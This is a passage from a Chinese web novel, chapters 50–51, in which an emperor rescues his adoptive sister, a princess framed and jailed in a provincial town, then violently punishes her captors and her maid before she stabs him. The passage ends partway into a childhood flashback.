竟然是一队官兵,直接朝着房内涌了进来。 怎么回事? 难不成是被宋衍发现了? 沈遥心跳如擂,本想去拿木剑,还没来得及,已经被两个官兵一左一右抓住胳膊,粗鲁地往外拖。 她下意识护住小腹,厉声道:“你们为何抓我?” “到了就知!” 沈遥见这么多官兵,心知是躲不掉,只能冷静道:“放开我,我自己会走,难不成我一弱女子,还会长翅膀飞了不成?” 那两官兵对视一眼,便放开了她,一大队人压着她往官府走。 沈遥在路上思考了很多。 最初,她以为是宋衍发现了她踪迹,叫了官兵抓人。 可此刻看下来,又不像,那小畜生虽然卑鄙,可从来不许任何人对她如此粗鲁。 待一路到达官府后,中堂升起,宿阳镇县令升堂,落座正中,里正站在下方,两侧是持木杖的衙役。 而堂中站着的,是万老爷,脸颊带笑,黄牙外露,鼻头的黑痣显得更 大了。 万老爷身边的女人弓腰驼背低着头,竟是早上不见身影的牛娟! 沈遥万分不解地看着他们两人,直到县令用力拍桌,震得在场之人心头一震。 “韩氏!你可认罪!” 沈遥回过神来。 自离开葫芦镇后,为了避免被宋衍抓住,她化名韩遥。而昨日与牛娟交流时,所告知的名字便是韩遥。 她心底隐隐有了些许猜测,惹上麻烦了,“民女不知何罪!” 县令又是一拍桌,沈遥却敏锐地注意到,他与站在下方的万老爷对视了一番,明显就是串通一气。 “牛娟,你来说!” “是。”牛娟颤颤巍巍走上前,看了一眼沈遥的眼睛,又立马低下头回避,咬唇道:“回老爷,这韩遥本是我家老爷一奴婢,没想到前两日竟偷盗了府中财物逃跑。” 沈遥震惊地睁大了眼,看着牛娟,不敢置信这女人竟恩将仇报,倒打一耙。 “你胡说!” 县令又是大声怒吼:“韩氏!你可知罪!” 沈遥原是镇定,可到了现在脊背却忽然冒了冷汗。 她仔细一想,也能明白牛娟的做法。此人乡野村妇,不懂大周律法,只知道夫为天,一味卑躬屈膝,任其打骂。 若她将万老爷告上庭,虽惩治了其人,回去后怕又是一顿动辄。若是和离…… 这个女人不会选择和离。 她离不开夫家,因为她自认为,离开丈夫后,她活不下去。 着实可笑,昨日竟没想到这一层面,只是看着她伤痕累累,一味起了慈悲心肠。 当初离开葫芦镇被人骗光钱财的教训看来还不够,她这次管了闲事,可真是活该。 宋衍有句话说对了,她太单纯,而这个世道太复杂,太黑暗。 沈遥转身问:“万老爷是吧,既然你说我是你的奴婢,你可拿得出身契?” 万老爷一怔,和牛娟相互对视一眼,最后道:“身契自然不会带在身上,之后我会交给县令大人证明!” 这万老爷和县令沆瀣一气,沈遥看出自己处境更是艰难。 她还未说话,县令已经下令,叫衙役将她的包裹拿来。衙役打开包裹,随意扔在地上散开,除了衣物等,钱袋中装了不少银子,一些簪钗发饰,以及那根,梨花玉簪。 沈遥道:“这些都是我的私人之物,与万家无关!” 可正在此时,牛娟却跳了出来,指着那地上的东西,道:“大人,是我家的东西,都是我家的!” 好一个白眼狼。 沈遥倏然间不知如何才能证明清白,可最重要的是县令铁了心要给她定罪,此番不是她能证明清白就可解决的。 县令又一次重重拍桌,指着地上的东西,厉声道:“如今人证物证俱在,韩氏,你可还有何能狡辩之处?” 沈遥冷笑,没有说话,眼神盯过去,看得县令浑身一颤。 他吞咽了一番口水,又看了眼万老爷,最后下令道:“来人!先来杖刑二十!” 沈遥双拳攥紧,看着衙役高举木杖上前。 在离她很近时,她忽然大声朝着县令道:“大周律法规定,若是女子怀有身孕,便免除刑罚,大人难不成要在大庭广众下,对一个有身子的女人动刑?” 在场人皆一怔,目光落到她平坦的小腹之上,一时半会儿竟也拿不了主意。 官府外聚集的众人皆窃窃私语,对着庭上的沈遥和县令指点着。 县令气得红了脸,之前和万老爷串通时并未想到这一层面,一个孤身女子,要定罪简直不要太简单。 所以没有叫能验孕的人来公堂之上,毕竟谁能想到还有这一出。 他最后还是挥手道:“今日庭审暂且到此,先将罪人下入狱中,带诊断验孕后,再做惩治。” 沈遥悬着的心暂时落下,可很明显,如今在着偏僻的宿阳镇,她竟还没有别的办法能够离开。 真是太倒霉了。 沈遥被押着路过牛娟时,她并没留下一个视线,反而牛娟低着头唯唯诺诺低声道:“韩姑娘,我、我也没办法。” 沈遥哂笑,“呵。” 她被暂押至官府牢房中,那小胡子狱卒是个没耐心的,打开牢房便直接将她用力往里一推。 她失了平衡,摔倒在地上,手掌和胳膊因此摩擦出一条血痕。 她疼得“嘶——”了一声,抬头看去,那狱卒已经将铁栅关起,眯眼朝着她的方向吐了一口唾沫,“巧舌如簧的臭婊子!” 这狱卒也时常收着万老爷好处,如今案件延后,贿赂的钱财自然也延后,心底怨气甚重,发泄完后,便甩着手上的钥匙离开。 沈遥低着头缓了好一会儿,挪到一处角落中坐下,抬起手掌检查着磨破的地方,轻轻碰了碰,疼得头皮发麻。 太倒霉了。 太蠢了。 她将头埋在膝盖中,整个人蜷缩着。牢房光线昏暗,加之天气渐渐变凉,整个人也是冷得不行。 该怎么办? 如今孤身一人,她竟什么都做不到。 忽然一股热流涌向下腹,沈遥一怔,扭头看了眼四周,见没人看着,这才敢转身悄悄查探了一下。 说不清是好,还是不好。 月事早不来,晚不来,偏偏这时候来了。 好的是,她没有孕。可她肩膀塌了一下,说不清自己心底那股隐隐约约的失落是为何。 坏的是,待官府的人来验孕后,她没有怀孕,处境会更加艰难。 囚室有些阴冷得吓人,寒风顺着墙缝偷跑了进来。 此时此刻,忽然又想起了那小畜生。 她真的好没用…… 不知过了多久,囚室的房门蓦地被拉开,是之前送她来的那个衙役,上前粗鲁地扯着她的手从地上带起,拉着往另一边的刑房而去。 “大人要审你!” 沈遥咬唇,在一路路推推搡搡下,来到了这件腥臭的刑房,入内后便可见地上被冲刷过的血水。 矮个子县令正站在高台上,看着沈遥笑了笑,也没对她动粗,只是请她落座于一张刑椅之上,椅子上还残留着水,粗壮的麻绳将她双手固定,又冷又痛。 她一时摸不清对方想法。 县令手插在袖中自上走下,站定她面前,“姑娘,这大周律规定,无户籍者,至少徒一年,本官这翻了许久,倒是也没见着韩遥这个身份啊。” 沈遥沉默。 如今说什么都没用了,面前的狗官早知道自己不是万老爷的婢女,却还是关着她,又寻了无户籍的罪名压于她身上。 这个人另有企图。 果然,县令又笑道:“不过姑娘不必忧心,若姑娘愿意跟了本官,本官或许能帮着姑娘隐了这罪。” “我有。”沈遥心底愈发慌张,却强压着,道:“我乃当朝永乐长公主沈遥。” 此话一出,县令一时滞住,半晌发不出声音,直到片刻后,才陡然间同刑房内众衙役爆笑起来,竟还笑出了泪。 沈遥静静看着他们。 果然,他们不会相信。 县令许久后停下笑意,道:“姑娘是当朝永乐长公主?那本官便是那天皇老子!” 他摸着下巴上下扫视着她,又点点头,“你这姑娘还真有意思。本官话放在这儿了,你从也得从!不从也得从!落到本官手里,没得选。” 他从一旁架子上拨弄着,将一件件刑具放到沈遥面前,有木夹子,铁钩,铁烙,还有许多她不知是何用的。 “姑娘啊,可别敬酒不吃,吃罚酒。” 此话一出,一小狱卒从门外跑来,慌张地贴到县令耳边,“大人,刺史大人来了。” “什么?”县令转头,一时匪夷所思,放下手中的铁钩。 刺史平日根本不在这宿阳镇,若是前来巡视,怎会一点儿消息都没有? “那还不准备着好生接待!” 小狱卒道:“他们直接往刑室这边来了。” “这……”县令还来不及思索,转眼间,房间外传来一阵脚步声。 抬头看去,为首的是一面生的男子,目若寒潭,身着玄色华服,带着强烈的威压,浑身透着一股被压抑下来的郁色。 而刺史跟在男子身后,点头哈腰,看到县令后狠狠递了一眼刀子过来。 “不知大人怎突然来了宿阳,下官这都没法儿及时待客啊。”县令一脸不明所以,尴尬地扬起笑意,弓着腰奉承往刺史和男子走去。 刺史低声怒吼了一句“闭嘴!”,身后跟随的下人行动迅速地搬着一张干净的椅子至于前方。 他抹了一把额头的冷汗,朝着男子恭敬道:“陛下,人就在这儿了,听说还没用过刑。” 还好没用过刑,能把人完完整整地还给这位,否则他这刺史的位子定也做不下去了。 “陛下?”县令瞬间反应过来这人的身份,顿时惊地和众衙役跪到地上。 抬头时,就看着皇帝没给他一个眼神,径直走向他看上的那女人,三两下解开麻绳,将人一把横抱起来,又轻手轻脚地放至那张干净的椅子上。 县令见这场面后,瞬间吓得抖成了筛子。 他 知道,自己完了。 而沈遥在见到宋衍的一瞬间,原本悬在空中的心倏然放了下来。 虽然她还是没能逃过,可至少她得救了。 小畜生终究还是找到了她。 第50章 第50章“朕的阿姐,只属于朕。…… 囚室内昏暗,一束微弱的光线从高处打入,空气中还飘散着点点灰尘。 宋衍面无表情地在沈遥面前蹲下,轻轻将她衣摆抚平,当碰触到手心时,她倏然疼得一颤。 宋衍动作凝固,片刻后将她手翻过,只见掌心还留有严重的擦伤,虽然结了痂,可刚才碰出过刑椅上的水后,血又开始丝丝溢出。 而她的手腕被麻绳绑过,留下了通红的印子。 他一言不发将袖子往上拉,发现她的手肘也是血痕。 在他继续拉她衣服时,沈遥制止了他的动作,左右看了一眼定在原地大气不敢出的人,轻声道:“就只有这点儿伤,没别的了。” 宋衍停下动作,静静平视着沈遥那双杏眼。 他看起来没什么情绪,终于开口淡淡喊了一声:“南风。” 他站起身,原在刺史旁的南风也在这时走上前,对沈遥道:“殿下,请先虽属下来。” 沈遥看明白他是想要在此解决县令之事情,不想让她看到。而她身子也确实不太舒服,便低着头起身,跟随南风离开刑室。 待沈遥离开后,东风上前将刑室的门“砰”一声用力合上,在场之人霎时被震得心头一颤。 宋衍转身迈步到跪地的县令面前站好,声音没有任何起伏地开口:“谁伤的她?” 此话一出,房中一时半会儿没人敢应。 众人根据刚才简短的对话,“殿下”二字,还有沈遥原本所言,都猜出了,这位还真是永乐长公主! 可至于为何传说中失踪已久的长公主忽然出现在宿阳小镇,与皇帝之间的举止又为何如此亲密,此时已无人敢做猜测,只是浑身发寒,心惊胆战。 空气在凝滞。 宋衍没了耐心,直接一脚踩在县令头上。县令被突如其来的力量压迫在地,侧脸碰触冰凉带水的地面摩擦,血瞬间从口中和鼻孔喷出,发出一声痛呼:“啊——陛下饶命!陛下饶命!下官不知那姑娘身份啊——” 宋衍才不听他解释,收回脚后,对方还没从刚才的疼痛中反应过来,又是一脚踢上县令的正脸。 他人被踹翻在地,门牙直接崩了两颗,鼻梁骨折,尝试着用手去捂脸,却又是一脚踹来,正中他左眼。 “啊——”一声惊叫,县令左眼珠子直接掉了出来,耷拉在脸颊之上。然而面前的人却无丝毫慈悲之心,又是一脚继续踹了上来,每一脚都正中他的面部。 直到许久后,县令彻底没了声音,晕了过去,只剩下微弱无规律的呼吸。即便这些衙役平日都习惯了对犯人用刑,可如此残暴的一面还是第一次见。 县令掉出来的眼珠已经被彻底踩烂,鼻梁扁塌,不成样子,满口鲜血,牙齿也掉得不剩几颗。 东风见还是没人说话,厉声道:“宿阳县令,平日收受大量万家贿赂,徇私枉法,时常强抢民女,如今已证据确凿。你们想与这位县令同罪的话,那就继续沉默。” 东风话音落下,所有人立刻将手指向了那送沈遥回囚室的拿名衙役。 “是他!是他送那位姑娘回的囚室,也是他送那姑娘来的刑房,小的们什么都不知道啊,没有碰过姑娘一根汗毛!” “你放屁!”那衙役早已被吓得连手都抬不起来,不知如何反驳他们所言。 他还想着如何狡辩时,刚才踹了县令的那双脚已经来到自己面前。 衙役连呼吸都停下来,牙齿打颤地抬头望向宋衍,倏然间,一股尿骚味在其身下蔓延开来。 “陛、陛下……” 宋衍只是微微蹙眉,又是一脚踹在衙役的脸上,打断了他所有的话语。同县令一样,一通发泄,直到那衙役昏过去才停下脚。 宋衍深呼吸一口气,稳稳坐落在那张沈遥坐过的干净椅子上,掏出帕子细细擦着手上飞溅上来的血迹。 而东风轻车熟路地拿过一双全新又干净地金线黑靴上前,单膝下跪,给宋衍换上。 待宋衍擦干净手,将帕子扔到地上后,抬眸起身,离开刑室时,最后留下一句:“碰了她,双手全剁了。” 低着头的众人又是一颤。 东风没有任何意外地应下。 …… 万家。 此时已过晌午,万老爷躺在庭院摇椅上一边闭眼假寐,而小妾在其身后按压着头,好不惬意。 没过一会儿,牛娟端着一盘桂花糕上前,唯唯诺诺地将其放到一旁,看了一眼那小妾,却半句话都不敢说。 她一个正妻,在万家活得还不如奴婢。 万老爷睁眼往牛娟一瞥,见她脸上的青紫,越看越不对劲,心里实在不爽快。这个妻子是他还在当小商贩时娶的,那时没什么钱财。如今家大业大,愈发看不上这乡野村妇。 可奈何牛娟生过儿子,又是他微末之时娶的,属于三不出范畴。他就是想将其休了都不行。 想到此处,万老爷一时又想起牛娟无意在街上遇到的那个女人,简直就是尤物。 他本想通过这次的假证,将那女人强抢来府中,却没想到县令看上了。罢了,民不与官斗,谁让人家是县令呢。 万老爷伸手拿过一块桂花糕,轻轻咬了一口,牛娟还没反应过来,那块桂花糕已经砸在她脸上。 “臭婊子!拿这么甜的糕点来,你是想腻死爷?” “老爷!这、这是厨娘做的啊。” 牛娟试图辩解了一句,却又惹了他恼怒,直接起身将身后的躺椅踢飞,双手抓住她脖颈提了起来。 他力量极大,在牛娟快要窒息之时,忽然一队脚步声由远及近,这才被那双粗壮的手给松开。 万老爷皱眉看去,怒道:“什么人?竟敢私闯府邸?” 这群人着装整齐,身穿软甲,为首之人直接上前,一句话没有,举起了令牌。 万老爷一观令牌,吓了一跳,“千牛卫?千牛卫不是御前……怎么来了此地?不知大人,可是走错了地方?” 东风漠然道:“万雄,多次贿赂宿阳县令,又做伪证,构陷长公主殿下,如今县令已经伏法。至于你,陛下亲自下令,抄没万家所有家产,万家男子流放,终身不得为官,女子为奴,具体来日会告知。” “这、这、这……”万老爷一时愣怔,说不出话,完全没有想到,仅仅只是贿赂,竟下如此重刑。 牛娟捂着脖子站起来,猛地奔上前试图抓住东风,“错了啊,大人定然弄错了啊,我们何时构陷长公主了!这罚得这么重,我儿子好不容易考上秀才的啊。” 东风用刀鞘挡住面前的妇人,冷笑:“忘性这么大?你们不是才在官府告官的么?我们长公主殿下是你家老爷的奴婢?真是可笑!” 牛娟瞪大了眼睛,不敢置信地放开东风,“什么?韩遥、韩遥是长公主?” 东风懒得废话,直接叫人抓住万老爷,往外拖去。 万老爷还没从震惊反应过来,到了门口后,才看到两匹马后的地上,拖着两个面目全非,被砍断了手的人。 他本没认出来,细细一观那衣服,这不是县令么? 而旁边的另一匹马后拴着绳子,却是空荡,那是谁的位子,不言而喻。 万老爷明白过来,若是单纯贿赂县令,或许只是抄没家产和流放,而面前这样毫无人道的酷刑,则是因为构陷长公主一事。 他瞬间嚎啕大哭起来,祈求着一旁押送自己的侍卫,然而他们都面无表情,不留给他一个眼神,简直毫无人性。 东风漠然道:“放心,陛下特意下令留下你性命,毕竟……” 他转头看向牛娟,陛下不屑动这忘恩负义的女人,以这女人唯诺性子,留在万老爷身边 才是最好的惩罚。 牛娟哭着追上来,眼看着万老爷被绑在马后,和那另外两人被快马拖走了,只留下地上恐怖的碎肉和发黑的血迹。 她“啊——”尖叫一声,捶胸顿足跪坐到地上,双眼失去了光亮。 这就是恩将仇报后的报应吗? …… 沈遥坐在马车中,也不知等了多久,宋衍终于从衙门出来,一步登上马车,坐在她身侧。 他一言不发,敲了敲车避,马车便开始移动起来。 沈遥扭头看着他的侧颜,只见他紧绷着下颚,目光微垂,这么久过去了,依然是面无表情。 她心下乱七八糟,抿唇问道:“这是去哪儿?” 宋衍淡淡瞥她一眼,“医馆。” “我不用去医馆!”沈遥拉了下他的袖子,“我手上的伤不重,涂点药就没事儿了。” 宋衍还是沉默,却将视线落在了她的小腹上。 虽然他不说话,沈遥却读懂了他的意思,想到或许是锦书告知了他这个猜测。 “我没怀孕,我今日月事刚来了。” 宋衍依旧没有反应,却将头扭开,又敲了敲车壁。 紧接着,马车掉了个头,直接往一处客栈而去。 此时天色已是暗淡,小贩们早收了摊,若要回葫芦镇,也得等到翌日天亮才行。 宋衍将沈遥送到客栈厢房后,便又消失。 她不知他去了何处,打开厢房门,是东风和南风亲自守着,而开窗看出去,整间客栈被重兵所围,一只苍蝇都飞不出去。 沈遥说不清自己什么心情,有劫后余生的庆幸,又有重新回到牢笼的压抑。而宋衍今日见到他后,除了“医馆”二字,什么也没说过。 到底是他救了她,还没来得及说一声“谢谢”。 南风敲开门,客栈伙计送了热水和一身干净的衣裳进来后,又将门锁好。 沈遥无奈,此刻却是没了继续逃跑的心情与精力,简单沐浴换过衣裳。 只是,如今有了新的问题。 她来了月事,却没有月事带。 周围又都是大男人,着实不方便。她只能从干净裙摆处撕了几块布条叠在一起,暂时将就。 这些时日太过疲累,如今终得放松,她很快便睡了过去。 沈遥翌日醒来得很早,她下意识往床边看去,却仍是空荡冰凉。也不知宋衍去了何处,竟一晚上都不回来。 她腰有些酸,按压了两下起身,这才注意到,枕边竟放了五条月事带! 她一怔,将其拿起后细细看过,这上面针脚看起来不熟练,却是缝得很仔细,每一针长短大小都一模一样。 是宋衍? 沈遥咬唇叹了口气,到净室中将其换上后,房门正好被敲响,是南风来提醒她要上路了。 “宋衍呢?” 南风:“陛下已经在马车里等着了。” “哦。”沈遥点点头,加快了步伐,上马车后果然见到了正在闭眼假寐的人。 她挪得近了些许,沉吟许久后,轻轻道:“谢谢。” 然而这人却仍然没有任何反应,只是一味闭着眼,依旧不说话。 若不是昨日听到他简单地出声,她差点儿以为他哑巴了。 不过倒是,这人从小就不说话,她曾经一度以为他是个小哑巴,长大后倒是话多了起来,特别是在床上,或者哄骗她的时候。 回葫芦镇的一路,两人再也没说过一句话,晚上也没住在一起。 沈遥不知他晚上去做什么了,每天一到马车里就开始睡觉。 而她每日早上起来时,枕头边又会出现新的月事带,每当此时,她心便会倏然砰砰乱跳两下,双颊泛红。 直到到一周后,她的月事彻底没了,而他们也终于到达葫芦镇。 沈遥轻轻掀开马车帘,看着与往日不同的街道。 重兵守住了整个镇子,家家户户闭门不出,原本铺子都关了门,一个行人也没有。 她正奇怪,想问问他,转头却看他还在闭着眼,看起来像是在睡觉。她将原本要说的话收了回来,心底愈发不安。 他还在生气。 到时府后,马车在门口停稳。 宋衍终于睁开眼睛,转身先下了马车,又伸过手来等着她。沈遥咬唇看着那只熟悉,带着薄茧的手,最后还是轻轻将自己的柔荑放至其中。 他收紧后,小心翼翼将人带下马车,又带着不可置疑地强势往府邸回。 一路上,沈遥都在纠结着,要怎么叫他将看守撤了。若是他能好好尊重她,不像以前那般囚禁着,或许她也是能与他好好过日子的。 一路走过光秃秃的梨花树,直接来到了内院,沈遥才出口问:“锦书呢?还有府中原本的下人呢?都去哪儿了?” 寝室门前,宋衍终于顿住脚步,转身看向沈遥。 他凝视她的眼神依旧温润如水,可却让她心底发慌。 沈遥:“怎么了?” 沉默了这么多日的宋衍终于开口:“以后时府,只会有一个仆妇才伺候,剩下的人全打发了。” 沈遥:“……那锦书?” 宋衍轻轻勾了下唇,朝着南风挥了下手。 南风收到示意后立刻点头离开。 而沈遥心底愈发不安起来,此刻他仿佛是沉浸在暴风雨前的宁静之中。 很快,沈遥便看着锦书被南风带了出来,只是不知发生了什么,她披头散发,浑身灰头土脸,见到沈遥和宋衍后一抖,整个人跪下在地上。 宋衍轻描淡写地解释了一句,“她这些时日都在柴房,等着你回来。” “柴房?”沈遥睁大了双眼,不可置信,“你将她关在了柴房!” 宋衍满不在乎地点了下头,“这个低贱的奴婢,违抗皇命,帮着你逃跑,朕还没有罚她。” 沈遥看向跪在地上的锦书,心更是慌乱起来,抓住他的袖子,急迫道:“是我要她帮我的!是我逼迫她的!” 锦书颤抖着出声:“殿下,无需为奴婢说话,奴婢违抗皇命在先,本就该罚。” 沈遥收紧了自己的手,抓着他不放,又提高了几分声线,“宋衍!你不能罚她!她是我的人!你要罚就罚我!” 宋衍却转头对她笑笑,伸出手,温柔地抚过她的发顶,声音低沉道:“带下去,八十杖。” 锦书猛地抬头,眼睛通红,却不敢喊出任何求饶的话语,任由侍卫将她拖走到沈遥看不到地方。 沈遥更是慌得手足无措,大怒,“我说了!她是我的人!你不能罚她!” 她转身便想跑去找锦书,却被宋衍抓住手一把拉了回来。 这些时日的衣裳上仍然熏着沉酥,此刻在面对宋衍时,她也是毫无还手之力。 很快,不远处传来了木杖落在肉/体上的啪啪声响,一下又一下,与锦书的惨叫声混杂一起。 沈遥挣扎着想要挣开他,他却将整个人搂怀中,力气大到要将她嵌入躯体。 “你放开我——我说了!你不许罚她!” “阿姐,乖。”宋衍强势地圈着她,声音却柔和地落在她耳边,“朕永远不会罚你,也不允许你身上受到一丝伤。” “宋衍!八十杖下去会死人的!”沈遥急红了眼,长着嘴挣扎推搡,可面前的男人却无动于衷。 她心脏像是被他所攥紧,难受得连空气都无法吸入。 都是怪她,都是因为她,锦书才会承受这所有的伤痛。 她恨极,用力一巴掌甩在他脸上,可他却更是勾起唇角,她又是第二巴掌甩上去,眼看着他脸颊通 红,却仍然无动于衷。 他一只手钳制住她后颈,声音沉稳:“阿姐,这就是逃跑的代价啊,你当初丢下朕,不要朕,可想过有一天,会有人因此付出代价。” 力量变小的沈遥打不过他,又是一口狠狠地咬上他的脖颈,她用尽了所有的力气,直到满口血腥,脖颈处的鲜血往外涌出,流了她一下巴,她才退开愣愣地盯着他。 “宋衍!你不能这样!” 她本来都想好,要与他好好过日子了,可是他为何要如此对她,剥夺了她自由不说,竟还要打死她的丫鬟。 沈遥难以呼吸,浑身骨骼都在发疼,在宋衍松手时她后退了两步,看着他摇头。 锦书断断续续的声音传来,愈发微弱。 沈遥大颗大颗的眼泪终于控制不住滚落下来,“为什么?我只是想要自由而已?你为什么要这么对我?我做错了什么啊,你要这样对我!” 她猛地跪倒在地上,抓住他衣摆,仰头望着他,满是痛苦与不解。 宋衍缓缓蹲下,与她对视着,伸出手温柔地擦去她眼角的泪,“为什么,阿姐怎会不知。” “阿姐可以不爱朕,可以恨朕,但不能不要朕。” “宋衍!你停下,你不能打死锦书!我会恨死你的!” “那就恨,恨到杀了朕,只要你杀了朕,你便能救锦书,也能获得你想要的自由。”他忽然诡异地蛊惑起她。 “你疯了!你简直就是个疯子!”沈遥咬牙,摇着头,“你明知,我不可能会杀你。” 宋衍轻轻叹息着,从怀中取出那根梨花玉簪,当初在宿阳镇被县令所收走。 玉簪的下端,是他。 给阿姐戴上后,他就能一直陪着阿姐了。 这般想着,他抬起手将簪子插进了她的发髻,阳光下,白玉反着淡淡光芒,却又是何其冰冷。 沈遥哭得上气不接下气,手死死抓着他的衣摆,摇晃着乞求,“放了锦书啊!宋衍!” “阿姐,你太心软了。”宋衍将视线从梨花簪子落回她的脸颊,“你狠不下心,那朕再告诉你一个消息。” 沈遥咬唇,死死瞪着他。 他笑着说:“宁梓谦死了。” “什么?” “宁梓谦死了,朕亲手杀的。” “不可能。” “这就是丢下朕的后果。” 沈遥一时没了反应,手缓缓垂落下来。 面前的人,不仅是疯子,更是恶鬼,是她错看了他。 她声音很低,“你怎么能?怎么敢?” 宁家有恩于他,若无宁家,他又如何这么容易坐上这个位子。 那个二十二岁的男人,充满了阳光与正义,满是单纯的男人。 死了? 远处的锦书已经没了声响,而木杖还在持续地落下。 “啪——” “啪——” “啪——” 今日的阳光刺的眼疼,也不温暖,或许是天逐渐寒冷的缘故,她竟冷得浑身发颤。 宋衍面无表情地看着她,抱着她从地上将人拉起,一手抚过她的后脑,压向自己,落下一个冰冷的吻在她唇上。她没有任何反应,只依然瞪着面前这个从来不认识的人。 他反倒吻得热烈起来,沉浸其中,舌尖撬开牙关,抵进来后横扫吞噬一切的液体与气息。 陡然间,耳边传来一阵嗡鸣,胸前的刺痛一丝丝蔓延开,他才终于往后退了一步,手却仍然死抓着他,最后低下头,笑了。 沈遥满脸泪痕,从发髻上拔下的那根簪子,终于被她捅入了他前胸,转瞬间,血涌了出来。她瞪大了双眼,牙齿在打颤,泪水似决堤后的洪水,顷刻间击垮她的神经。 宋衍却笑得愈发病态和诡异。 他的目的达到了。 这样,阿姐便能永远记住他,哪怕是死。 “朕的阿姐,只属于朕。”【魔蝎小说 mo xie xs .c om】 50-60 第51章 第51章金锁链的一端在她手腕上…… 秋日的寒风不算太冷,却燥得心慌。 沈遥放开了手,垂眸看着那只染血的簪子,半晌说不出话,心痛到窒息,连带着胃也在疼痛。 南风在不远处瞪大了眼,一个冷颤后回神,立刻冲来,拔出长剑直接架在了沈遥脖颈处。 他大怒:“殿下怎可行刺!!!” 沈遥视线一直与宋衍的黑眸胶着着,脖颈一片冰凉,她怔怔低下头,才看到那柄寒铁上反射着他们两人的模样。 实在太过荒唐。 她闭上眼睛刻意往那剑锋倾了半寸,宋衍眼疾手快搂住她起身,转身一脚踹开南风,那柄剑直接飞了起来,在空中打过几个旋后才“噌——”一身,直直插入泥地之中。 宋衍唇色苍白,却还是冷眼朝南风看去,“大胆!别忘了朕交代过什么!” 南风倒在地上,捂着胸口看向他们两人,牙齿不断打颤,说不出话,许久后才跪下叩首,“属下知错,任凭陛下与殿下责罚。” 宋衍将视线挪回满是泪水的沈遥脸上,见她哭得上气不接下气,脖颈处还有一道鲜红的血痕。 他抬手轻轻一抹,眼底满是心疼。 “疼吗?” 她一直哭着,没有回答。 他还来不及说更多话哄她,便支撑不住,又跪坐下来,手却还死死抱着她,无论怎样都不愿放开。 “哭什么?” 沈遥已经心痛到难以发出声音,手抓紧了他的衣襟,喘息愈发困难。 “疯子!你就是个疯子!” “是啊,阿姐也不是第一日才知。”他温柔地抬手抹去她脸颊上的泪水,却越抹越多。 “就算朕做了鬼魅,也会继续纠缠,天涯海角,乃至下到黄泉,阿姐别想着能逃得掉。” 沈遥哭得咳嗽起来,想狠狠骂他,却一句话也说不出口。 想狠狠打他,可他前胸已经在流淌着温热的血,她能感受到涌出的热流,浸透她的衣裳,在接触皮肤的瞬间,又被秋风所吹凉。 这个疯子。 她看着宋衍失血后,力气一点点流失,慢慢昏了过去。她心口郁结,一口气卡在嗓子眼不上不下,最终竟也咳得昏了过去。 可笑的是,在她昏过去之时,小畜生的手还依旧抓着她不放,像连为了一体。 …… 沈遥感觉自己沉睡了许久,做了很多个梦,很久的梦。 “喂!小哑巴!我的风筝掉树上了,还不去捡下来!” 春风拂面,正是草长莺飞的时节,这时候,放风筝的人很多。 听到声音,沈遥停下脚步,往那棵梨花树看去,说话的是马夫的儿子,身旁跟着仆妇的儿子。 他们面前站着的,又是臭弟弟。 沈遥抿唇,不喜地蹙眉,心底却又是幸灾乐祸地看着。 她真是讨厌死这个臭弟弟了,自从来到沈家后,母亲整日闭门不出,连话都不愿与她多言。 至于父亲,虽然很忙,可他所有的关心都在臭弟弟身上。 这个人怪怪的,平日一句话不说,她有几次见着人,都是蹲在树下排列石子,简直就是个小怪胎。 可是臭弟弟也懦弱得很,打不还口,骂不还手。 他没有反驳马夫儿子一句话,便转身爬上梨花树。他个头小,人又瘦弱,爬了好一会儿才到顶端,面无表情地去够那风筝。 当他拿到风筝时,站在树下的两小子开始大声唱起来: “小哑巴,爱点头。 别人说东他不敢走西头,鸡叫他学咕咕咕,狗叫他就汪汪汪。 爹不疼,娘不爱,点头点到没人瞧!” 这两人一同大笑着,一边唱和不知哪儿编来的谣,一边用力踹着那棵梨花树。 梨花树颤颤巍巍摇晃起来,花瓣如雨般洒落,树上的小男孩儿最终如他们所愿地摔在了地上,风筝也因此被折弯。 仆妇的儿子一哽,看着他手心的擦伤有些犹豫:“我们会不会玩儿太大了,万一他就告家主怎么办?” 马夫的儿子却一脸无所谓,从地上捡起一块石头在手中掂着,哈哈大笑,“他去告家主?放心吧!他不会的,臭小子虽然讨厌 得很,但胆子小,人又乖,你别太多心了。” 说着他扭头看向地上的宋衍,正准备将石头砸过去时,他后脑勺先被人用石块重重地砸了一下。 “诶哟!”他捂着脑袋,眼睛发晕,“谁啊!找死!” 马夫儿子扭头看去,却没想到是沈遥,原本凶神恶煞的脸瞬间换了一副神情,“诶哟,这不是大小姐么?小姐怎么突然来这地儿了。” 沈遥看着蹲在地上,低头一句话不说的臭弟弟,心底是憋屈得不行。 “你们声音真难听,还不给我滚,别碍了我的耳朵!下次再叫我听到你们刚才唱的,小心我拿鞭子抽死你们!” 两小子尴尬地对视一眼,最后弓腰赔罪,“是、是、是,小姐,我们这就走。” “等等。” “怎么了?”他们两人顿住脚步又转过身。 沈遥淡淡道:“道歉。” “对不起,小姐,我们下次不这样了!”他们喊得倒是很诚恳。 沈遥朝着臭弟弟抬了下头,“不是朝我,让你们跟人好好道歉。” 两人一时滞住,在她视线再次扫来时,他们立刻转身朝着臭弟弟道:“二公子,我们错了,您大人不记小人过。” 他们台词是诚恳,语调却满是敷衍和不在乎,最终互相推搡着,不等沈遥发话便跑开。 沈遥着实无奈,实在没想到那两小子竟然如此过分,欺负人也欺负得过了头。况且,虽然臭弟弟是个私生子,可到底是主子,那俩是下人,他就这样任打任骂,是不是脑子有问题。 她转眼时,看到臭弟弟正抬头盯着她,一言不发,眼中充斥着怪异,不知在想什么。 沈遥被盯得汗毛直立,搓了下手臂,也懒得跟他说话,直接转身离开。 自那日过后,她夜间睡觉时,常常感受到一股黏腻的视线在注视着她,诡异,带着探寻,好像更多的是观察。 可每当她睁开眼睛时,哪儿有什么人? 或许都是她的错觉。 后来慢慢的,她和臭弟弟关系好了起来,她开始教他练剑,彻底地接受了这个突然多出来的弟弟。 深夜里,星河鹭起,沈遥拉着他坐到梨花树下,指给他看,“那是北斗七星。” 宋衍视线顺着她的手指过去,可没看一会儿,便又将视线拉回到她身上。 沈遥脚尖踢着地上的小石子,满是烦恼:“唉,爹曾教过我,若是在野外迷了路,根据北斗七星便能找到方位。” 她想爹了,爹这离开许久,也不知什么时候才回来。 宋衍又将视线挪到天空中,看着那连接而成的星星,郑重地点了点头,表示记住。 随着年龄的增长,院子中的小孩都在长大,有的人开始半懂不懂地学到了人事,有的人也情窦初开。 特别是马夫的儿子。 小伙子个头蹿了不少,甚至比沈遥高出了半个头,最近盯着她的视线总是怪怪的。 